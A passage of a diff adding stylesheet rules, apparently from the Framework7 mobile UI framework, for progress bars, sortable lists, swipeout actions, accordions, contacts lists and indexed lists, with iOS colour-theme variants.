+.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-android body > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-android .framework7-root > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 24px; +} +.with-statusbar.device-iphone-x body > .progressbar, +.with-statusbar.device-iphone-x .framework7-root > .progressbar, +.with-statusbar.device-iphone-x body > .progressbar-infinite, +.with-statusbar.device-iphone-x .framework7-root > .progressbar-infinite { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.progressbar { + vertical-align: middle; +} +.progressbar span { + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.progressbar-infinite:before, +.progressbar-infinite:after { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform-origin: left center; + transform-origin: left center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + display: block; +} +.progressbar-infinite.color-multi { + background: none !important; +} +.progressbar-in { + -webkit-animation: progressbar-in 150ms forwards; + animation: progressbar-in 150ms forwards; +} +.progressbar-out { + -webkit-animation: progressbar-out 150ms forwards; + animation: progressbar-out 150ms forwards; +} +@-webkit-keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@-webkit-keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +@keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +.ios .progressbar, +.ios .progressbar-infinite { + height: 2px; + background: #b6b6b6; + -webkit-transform-origin: center top; + transform-origin: center top; + border-radius: 2px; +} +.ios .progressbar span { + background: #007aff; +} +.ios .progressbar-infinite:before { + content: ''; + background: #007aff; + -webkit-animation: ios-progressbar-infinite 1s linear infinite; + animation: ios-progressbar-infinite 1s linear infinite; +} +.ios .progressbar-infinite.color-multi:before { + width: 400%; + background-image: -webkit-gradient(linear, left top, right top, from(#4cd964), color-stop(#5ac8fa), color-stop(#007aff), color-stop(#34aadc), color-stop(#5856d6), color-stop(#ff2d55), color-stop(#5856d6), color-stop(#34aadc), color-stop(#007aff), color-stop(#5ac8fa), to(#4cd964)); + background-image: -webkit-linear-gradient(left, #4cd964, #5ac8fa, #007aff, #34aadc, #5856d6, #ff2d55, #5856d6, #34aadc, #007aff, #5ac8fa, #4cd964); + background-image: linear-gradient(to right, #4cd964, #5ac8fa, #007aff, #34aadc, #5856d6, #ff2d55, #5856d6, #34aadc, #007aff, #5ac8fa, #4cd964); + background-size: 25% 100%; + background-repeat: repeat-x; + -webkit-animation: ios-progressbar-infinite-multicolor 3s linear infinite; + animation: ios-progressbar-infinite-multicolor 3s linear infinite; +} +.ios .color-theme-red .progressbar span { + background: #ff3b30; +} +.ios .color-theme-red .progressbar-infinite:before { + background: #ff3b30; +} +.ios .color-theme-green .progressbar span { + background: #4cd964; +} +.ios .color-theme-green .progressbar-infinite:before { + background: #4cd964; +} +.ios .color-theme-blue .progressbar span { + background: #007aff; +} +.ios .color-theme-blue .progressbar-infinite:before { + background: #007aff; +} +.ios .color-theme-pink .progressbar span { + background: #ff2d55; +} +.ios .color-theme-pink .progressbar-infinite:before { + background: #ff2d55; +} +.ios .color-theme-yellow .progressbar span { + background: #ffcc00; +} +.ios .color-theme-yellow .progressbar-infinite:before { + background: #ffcc00; +} +.ios .color-theme-orange .progressbar span { + background: #ff9500; +} +.ios .color-theme-orange .progressbar-infinite:before { + background: #ff9500; +} +.ios .color-theme-gray .progressbar span { + background: #8e8e93; +} +.ios .color-theme-gray .progressbar-infinite:before { + background: #8e8e93; +} +.ios .color-theme-white .progressbar span { + background: #ffffff; +} +.ios .color-theme-white .progressbar-infinite:before { + background: #ffffff; +} +.ios .color-theme-black .progressbar span { + background: #000000; +} +.ios .color-theme-black .progressbar-infinite:before { + background: #000000; +} +.ios .progressbar.color-red span { + background: #ff3b30; +} +.ios .progressbar-infinite.color-red:before { + background: #ff3b30; +} +.ios .progressbar.color-green span { + background: #4cd964; +} +.ios .progressbar-infinite.color-green:before { + background: #4cd964; +} +.ios .progressbar.color-blue span { + background: #007aff; +} +.ios .progressbar-infinite.color-blue:before { + background: #007aff; +} +.ios .progressbar.color-pink span { + background: #ff2d55; +} +.ios .progressbar-infinite.color-pink:before { + background: #ff2d55; +} +.ios .progressbar.color-yellow span { + background: #ffcc00; +} +.ios .progressbar-infinite.color-yellow:before { + background: #ffcc00; +} +.ios .progressbar.color-orange span { + background: #ff9500; +} +.ios .progressbar-infinite.color-orange:before { + background: #ff9500; +} +.ios .progressbar.color-gray span { + background: #8e8e93; +} +.ios .progressbar-infinite.color-gray:before { + background: #8e8e93; +} +.ios .progressbar.color-white span { + background: #ffffff; +} +.ios .progressbar-infinite.color-white:before { + background: #ffffff; +} +.ios .progressbar.color-black span { + background: #000000; +} +.ios .progressbar-infinite.color-black:before { + background: #000000; +} +@-webkit-keyframes ios-progressbar-infinite { + 0% { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + 100% { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@keyframes ios-progressbar-infinite { + 0% { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + 100% { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@-webkit-keyframes ios-progressbar-infinite-multicolor { + 0% { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } + 100% { + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); + } +} +@keyframes ios-progressbar-infinite-multicolor { + 0% { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } + 100% { + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); + } +} +/* === Sortable === */ +.sortable .sortable-handler { + position: absolute; + top: 0; + bottom: 1px; + z-index: 10; + background-repeat: no-repeat; + background-size: 18px 12px; + opacity: 0; + pointer-events: none; + cursor: move; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + right: 0; + background-position: 100% 50%; +} +.sortable .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable li.sorting { + z-index: 50; + background: rgba(255, 255, 255, 0.8); + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sortable li.sorting .item-inner:after { + display: none !important; +} +.sortable-sorting li { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable-enabled .sortable-handler { + pointer-events: auto; + opacity: 1; + background-position: 50% 50%; +} +.sortable-enabled .item-link .item-inner, +.sortable-enabled .item-link .item-title-row { + background-image: none !important; +} +.theme-dark .sortable li.sorting, +.sortable.theme-dark li.sorting { + background-color: rgba(50, 50, 50, 0.8); +} +.ios .sortable-handler { + width: 35px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%2012'%20fill%3D'%23c7c7cc'%3E%3Cpath%20d%3D'M0%2C2V0h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C7V5h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C12v-2h22v2H0z'%2F%3E%3C%2Fsvg%3E"); +} +.ios .sortable li.sorting { + -webkit-box-shadow: 0px 2px 8px rgba(0, 0, 0, 0.6); + box-shadow: 0px 2px 8px rgba(0, 0, 0, 0.6); +} +.ios .sortable-enabled .item-inner, +.ios .sortable-enabled .item-link .item-inner { + padding-right: 35px; +} +.ios .list.sortable-enabled .item-link.no-chevron .item-inner, +.ios .list.sortable-enabled.no-chevron .item-link .item-inner, +.ios .list.sortable-enabled .no-chevron .item-link .item-inner, +.ios .no-chevron .list.sortable-enabled .item-link .item-inner { + padding-right: 35px; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-right-edge .sortable-handler, + .ios.device-iphone-x .ios-edges .sortable-handler, + .ios.device-iphone-x .popup .sortable-handler, + .ios.device-iphone-x .sheet-modal .sortable-handler, + .ios.device-iphone-x .panel-right .sortable-handler { + right: constant(safe-area-inset-right); + right: env(safe-area-inset-right); + } + .ios.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-right-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-right .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-right: calc(35px + constant(safe-area-inset-right)); + padding-right: calc(35px + env(safe-area-inset-right)); + } +} +/* === Swipeout === */ +.swipeout { + overflow: hidden; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swipeout-deleting { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.swipeout-deleting .swipeout-content { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-transitioning .swipeout-content, +.swipeout-transitioning .swipeout-actions-right a, +.swipeout-transitioning .swipeout-actions-left a, +.swipeout-transitioning .swipeout-overswipe { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: left, -webkit-transform; + transition-property: left, -webkit-transform; + transition-property: transform, left; + transition-property: transform, left, -webkit-transform; +} +.swipeout-content { + position: relative; + z-index: 10; +} +.swipeout-overswipe { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: left; + transition-property: left; +} +.swipeout-actions-left, +.swipeout-actions-right { + position: absolute; + top: 0; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + direction: ltr; +} +.swipeout-actions-left > a, +.swipeout-actions-right > a, +.swipeout-actions-left > button, +.swipeout-actions-right > button, +.swipeout-actions-left > span, +.swipeout-actions-right > span, +.swipeout-actions-left > div, +.swipeout-actions-right > div { + color: #fff; + background: #c7c7cc; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + position: relative; + left: 0; +} +.swipeout-actions-left > a:after, +.swipeout-actions-right > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-right > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-right > span:after, +.swipeout-actions-left > div:after, +.swipeout-actions-right > div:after { + content: ''; + position: absolute; + top: 0; + width: 600%; + height: 100%; + background: inherit; + z-index: -1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.swipeout-actions-right { + right: 0%; + -webkit-transform: translateX(100%); + transform: translateX(100%); +} +.swipeout-actions-right > a:after, +.swipeout-actions-right > button:after, +.swipeout-actions-right > span:after, +.swipeout-actions-right > div:after { + left: 100%; + margin-left: -1px; +} +.swipeout-actions-left { + left: 0%; + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-actions-left > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-left > div:after { + right: 100%; + margin-right: -1px; +} +.ios .swipeout-actions-left > a, +.ios .swipeout-actions-right > a, +.ios .swipeout-actions-left > button, +.ios .swipeout-actions-right > button, +.ios .swipeout-actions-left > span, +.ios .swipeout-actions-right > span, +.ios .swipeout-actions-left > div, +.ios .swipeout-actions-right > div { + padding: 0 30px; + color: #fff; +} +.ios .swipeout-actions-left .swipeout-delete, +.ios .swipeout-actions-right .swipeout-delete { + background: #ff3b30; +} +.ios .swipeout-actions-left > a.color-red, +.ios .swipeout-actions-right > a.color-red, +.ios .swipeout-actions-left > button.color-red, +.ios .swipeout-actions-right > button.color-red, +.ios .swipeout-actions-left > span.color-red, +.ios .swipeout-actions-right > span.color-red, +.ios .swipeout-actions-left > div.color-red, +.ios .swipeout-actions-right > div.color-red { + background-color: #ff3b30; +} +.ios .swipeout-actions-left > a.color-green, +.ios .swipeout-actions-right > a.color-green, +.ios .swipeout-actions-left > button.color-green, +.ios .swipeout-actions-right > button.color-green, +.ios .swipeout-actions-left > span.color-green, +.ios .swipeout-actions-right > span.color-green, +.ios .swipeout-actions-left > div.color-green, +.ios .swipeout-actions-right > div.color-green { + background-color: #4cd964; +} +.ios .swipeout-actions-left > a.color-blue, +.ios .swipeout-actions-right > a.color-blue, +.ios .swipeout-actions-left > button.color-blue, +.ios .swipeout-actions-right > button.color-blue, +.ios .swipeout-actions-left > span.color-blue, +.ios .swipeout-actions-right > span.color-blue, +.ios .swipeout-actions-left > div.color-blue, +.ios .swipeout-actions-right > div.color-blue { + background-color: #007aff; +} +.ios .swipeout-actions-left > a.color-pink, +.ios .swipeout-actions-right > a.color-pink, +.ios .swipeout-actions-left > button.color-pink, +.ios .swipeout-actions-right > button.color-pink, +.ios .swipeout-actions-left > span.color-pink, +.ios .swipeout-actions-right > span.color-pink, +.ios .swipeout-actions-left > div.color-pink, +.ios .swipeout-actions-right > div.color-pink { + background-color: #ff2d55; +} +.ios .swipeout-actions-left > a.color-yellow, +.ios .swipeout-actions-right > a.color-yellow, +.ios .swipeout-actions-left > button.color-yellow, +.ios .swipeout-actions-right > button.color-yellow, +.ios .swipeout-actions-left > span.color-yellow, +.ios .swipeout-actions-right > span.color-yellow, +.ios .swipeout-actions-left > div.color-yellow, +.ios .swipeout-actions-right > div.color-yellow { + background-color: #ffcc00; +} +.ios .swipeout-actions-left > a.color-orange, +.ios .swipeout-actions-right > a.color-orange, +.ios .swipeout-actions-left > button.color-orange, +.ios .swipeout-actions-right > button.color-orange, +.ios .swipeout-actions-left > span.color-orange, +.ios .swipeout-actions-right > span.color-orange, +.ios .swipeout-actions-left > div.color-orange, +.ios .swipeout-actions-right > div.color-orange { + background-color: #ff9500; +} +.ios .swipeout-actions-left > a.color-gray, +.ios .swipeout-actions-right > a.color-gray, +.ios .swipeout-actions-left > button.color-gray, +.ios .swipeout-actions-right > button.color-gray, +.ios .swipeout-actions-left > span.color-gray, +.ios .swipeout-actions-right > span.color-gray, +.ios .swipeout-actions-left > div.color-gray, +.ios .swipeout-actions-right > div.color-gray { + background-color: #8e8e93; +} +.ios .swipeout-actions-left > a.color-white, +.ios .swipeout-actions-right > a.color-white, +.ios .swipeout-actions-left > button.color-white, +.ios .swipeout-actions-right > button.color-white, +.ios .swipeout-actions-left > span.color-white, +.ios .swipeout-actions-right > span.color-white, +.ios .swipeout-actions-left > div.color-white, +.ios .swipeout-actions-right > div.color-white { + background-color: #ffffff; +} +.ios .swipeout-actions-left > a.color-black, +.ios .swipeout-actions-right > a.color-black, +.ios .swipeout-actions-left > button.color-black, +.ios .swipeout-actions-right > button.color-black, +.ios .swipeout-actions-left > span.color-black, +.ios .swipeout-actions-right > span.color-black, +.ios .swipeout-actions-left > div.color-black, +.ios .swipeout-actions-right > div.color-black { + background-color: #000000; +} +/* === Accordion === */ +.accordion-item-toggle { + cursor: pointer; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state > .item-inner:after { + background-color: transparent; +} +.accordion-item-toggle .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.accordion-item-toggle .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .item-link .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .list, +.accordion-item .block { + margin-top: 0; + margin-bottom: 0; +} +.accordion-item .block > h1:first-child, +.accordion-item .block > h2:first-child, +.accordion-item .block > h3:first-child, +.accordion-item .block > h4:first-child, +.accordion-item .block > p:first-child { + margin-top: 10px; +} +.accordion-item .block > h1:last-child, +.accordion-item .block > h2:last-child, +.accordion-item .block > h3:last-child, +.accordion-item .block > h4:last-child, +.accordion-item .block > p:last-child { + margin-bottom: 10px; +} +.accordion-item-opened .accordion-item-toggle .item-inner:after, +.accordion-item-opened > .item-link .item-inner:after { + background-color: transparent; +} +.list li.accordion-item ul { + padding-left: 0; +} +.accordion-item-content { + position: relative; + overflow: hidden; + height: 0; + font-size: 14px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-opened > .accordion-item-content { + height: auto; +} +html.device-android-4 .accordion-item-content { + -webkit-transform: none; + transform: none; +} +.ios .list .accordion-item-toggle .item-inner { + background-size: 8px 13px; + background: no-repeat calc(100% - 15px) center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + padding-right: 35px; +} +.ios .list .accordion-item-toggle.active-state { + background-color: #d9d9d9; +} +.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.ios .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.ios .media-list .accordion-item-opened > .item-link .item-title-row, +.ios .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.ios .accordion-item-opened.media-item > .item-link .item-title-row, +.ios .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; +} +.ios .theme-dark .list .accordion-item-toggle .item-inner { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.ios .theme-dark .list .accordion-item-toggle.active-state { + background-color: #363636; +} +.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.ios .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.ios .theme-dark .media-list .accordion-item-opened > .item-link .item-title-row, +.ios .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.ios .theme-dark .accordion-item-opened.media-item > .item-link .item-title-row, +.ios .theme-dark .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +/* === Contacts === */ +.contacts-list .list-group:first-child ul:before { + display: none !important; +} +.contacts-list .list-group:last-child ul:after { + display: none !important; +} +.ios .contacts-list { + margin: 0; +} +.ios .contacts-list .list-group-title { + padding: 0 15px; + background: #f7f7f7; + color: #000; + font-weight: 600; + line-height: 22px; + height: 22px; +} +.ios .theme-dark .contacts-list .list-group-title, +.contacts-list.ios .theme-dark .list-group-title { + background-color: #111; + color: #fff; +} +/* === Virtual List === */ +/* === Indexed List === */ +.list-index { + position: absolute; + top: 0; + bottom: 0; + right: 0; + text-align: center; + z-index: 10; + width: 16px; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.list-index:before { + content: ''; + position: absolute; + width: 20px; + top: 0; + right: 100%; + height: 100%; +} +.list-index ul { + font-size: 11px; + font-weight: 600; + list-style: none; + margin: 0; + padding: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + height: 100%; + width: 100%; + position: relative; +} +.list-index li { + margin: 0; + padding: 0; + list-style: none; + position: relative; + height: 14px; + line-height: 14px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: block; + width: 100%; +} +.list-index .list-index-skip-placeholder:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + border-radius: 50%; +} +.list-index .list-index-label { + position: absolute; + bottom: 0; + right: 100%; + text-align: center; + border-radius: 50%; + color: #fff; + font-weight: 500; +} +.ios .list-index ul { + color: #007aff; +} +.ios .list-index .list-index-skip-placeholder:after { + content: ''; + width: 6px; + height: 6px; + margin-left: -3px; + margin-top: -3px; + background: #007aff; +} +.ios .list-index .list-index-label { + margin-bottom: -22px; + margin-right: 15px; + width: 44px; + height: 44px; + line-height: 44px; + border-radius: 50%; + background: #007aff; + font-size: 17px; +} +.ios .list-index .list-index-label:before { + position: absolute; + width: 100%; + height: 100%; + border-radius: 50% 0% 50% 50%; + content: ''; + background-color: inherit; + left: 0; + top: 0; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); + z-index: -1; +} +.ios .navbar ~ .page > .list-index, +.ios .navbar ~ .list-index { + top: 44px; +} +.ios .toolbar ~ .page > .list-index, +.ios .toolbar ~ * .page > .list-index, +.ios .toolbar ~ .list-index { + bottom: 44px; +} +.ios .tabbar-labels ~ .page > .list-index, +.ios .tabbar-labels ~ * .page > .list-index, +.ios .tabbar-labels ~ .list-index { + bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ .page > .list-index, + .ios .tabbar-labels ~ * .page > .list-index, + .ios .tabbar-labels ~ .list-index { + bottom: 56px; + } +} +.ios.device-iphone-x .toolbar ~ .page > .list-index, +.ios.device-iphone-x .toolbar ~ * .page > .list-index, +.ios.device-iphone-x .toolbar ~ .list-index { + bottom: calc(44px + constant(safe-area-inset-bottom)); + bottom: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .tabbar-labels ~ .page > .list-index, +.ios.device-iphone-x .tabbar-labels ~ * .page > .list-index, +.ios.device-iphone-x .tabbar-labels ~ .list-index { + bottom: calc(50px + constant(safe-area-inset-bottom)); + bottom: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .tabbar-labels ~ .page > .list-index, + .ios.device-iphone-x .tabbar-labels ~ * .page > .list-index, + .ios.device-iphone-x .tabbar-labels ~ .list-index { + bottom: calc(56px + constant(safe-area-inset-bottom)); + bottom: calc(56px + env(safe-area-inset-bottom)); + } +} +.ios .color-theme-red .list-index ul, +.ios .list-index.color-theme-red ul { + color: #ff3b30; +} +.ios .color-theme-red .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-red .list-index-skip-placeholder:after, +.ios .color-theme-red .list-index .list-index-label, +.ios .list-index.color-theme-red .list-index-label { + background-color: #ff3b30; +} +.ios .color-theme-green .list-index ul, +.ios .list-index.color-theme-green ul { + color: #4cd964; +} +.ios .color-theme-green .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-green .list-index-skip-placeholder:after, +.ios .color-theme-green .list-index .list-index-label, +.ios .list-index.color-theme-green .list-index-label { + background-color: #4cd964; +} +.ios .color-theme-blue .list-index ul, +.ios .list-index.color-theme-blue ul { + color: #007aff; +} +.ios .color-theme-blue .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-blue .list-index-skip-placeholder:after, +.ios .color-theme-blue .list-index .list-index-label, +.ios .list-index.color-theme-blue .list-index-label { + background-color: #007aff; +} +.ios .color-theme-pink .list-index ul, +.ios .list-index.color-theme-pink ul { + color: #ff2d55; +} +.ios .color-theme-pink .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-pink .list-index-skip-placeholder:after, +.ios .color-theme-pink .list-index .list-index-label, +.ios .list-index.color-theme-pink .list-index-label { + background-color: #ff2d55; +} +.ios .color-theme-yellow .list-index ul, +.ios .list-index.color-theme-yellow ul { + color: #ffcc00; +} +.ios .color-theme-yellow .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-yellow .list-index-skip-placeholder:after, +.ios .color-theme-yellow .list-index .list-index-label, +.ios .list-index.color-theme-yellow .list-index-label { + background-color: #ffcc00; +} +.ios .color-theme-orange .list-index ul, +.ios .list-index.color-theme-orange ul { + color: #ff9500; +} +.ios .color-theme-orange .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-orange .list-index-skip-placeholder:after, +.ios .color-theme-orange .list-index .list-index-label, +.ios .list-index.color-theme-orange .list-index-label { + background-color: #ff9500; +} +.ios .color-theme-gray .list-index ul, +.ios .list-index.color-theme-gray ul { + color: #8e8e93; +} +.ios .color-theme-gray .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-gray .list-index-skip-placeholder:after, +.ios .color-theme-gray .list-index .list-index-label, +.ios .list-index.color-theme-gray .list-index-label { + background-color: #8e8e93; +} +.ios .color-theme-white .list-index ul, +.ios .list-index.color-theme-white ul { + color: #ffffff; +} +.ios .color-theme-white .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-white .list-index-skip-placeholder:after, +.ios .color-theme-white .list-index .list-index-label, +.ios .list-index.color-theme-white .list-index-label { + background-color: #ffffff; +} +.ios .color-theme-black .list-index ul, +.ios .list-index.color-theme-black ul { + color: #000000; +} +.ios .color-theme-black .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-black .list-index-skip-placeholder:after, +.ios .color-theme-black .list-index .list-index-label, +.ios .list-index.color-theme-black .list-index-label { + background-color: #000000; +} +.ios .list-index.color-red ul { + color: #ff3b30; +} +.ios .list-index.color-red .list-index-skip-placeholder:after, +.ios .list-index.color-red .list-index-label { + background-color: #ff3b30; +} +.ios .list-index.color-green ul { + color: #4cd964; +} +.ios .list-index.color-green .list-index-skip-placeholder:after, +.ios .list-index.color-green .list-index-label { + background-color: #4cd964; +} +.ios .list-index.color-blue ul { + color: #007aff; +} +.ios .list-index.color-blue .list-index-skip-placeholder:after, +.ios .list-index.color-blue .list-index-label { + background-color: #007aff; +} +.ios .list-index.color-pink ul { + color: #ff2d55; +} +.ios .list-index.color-pink .list-index-skip-placeholder:after, +.ios .list-index.color-pink .list-index-label { + background-color: #ff2d55; +} +.ios .list-index.color-yellow ul { + color: #ffcc00; +} +.ios .list-index.color-yellow .list-index-skip-placeholder:after, +.ios .list-index.color-yellow .list-index-label { + background-color: #ffcc00; +} +.ios .list-index.color-orange ul { + color: #ff9500; +} +.ios .list-index.color-orange .list-index-skip-placeholder:after, +.ios .list-index.color-orange .list-index-label { + background-color: #ff9500; +} +.ios 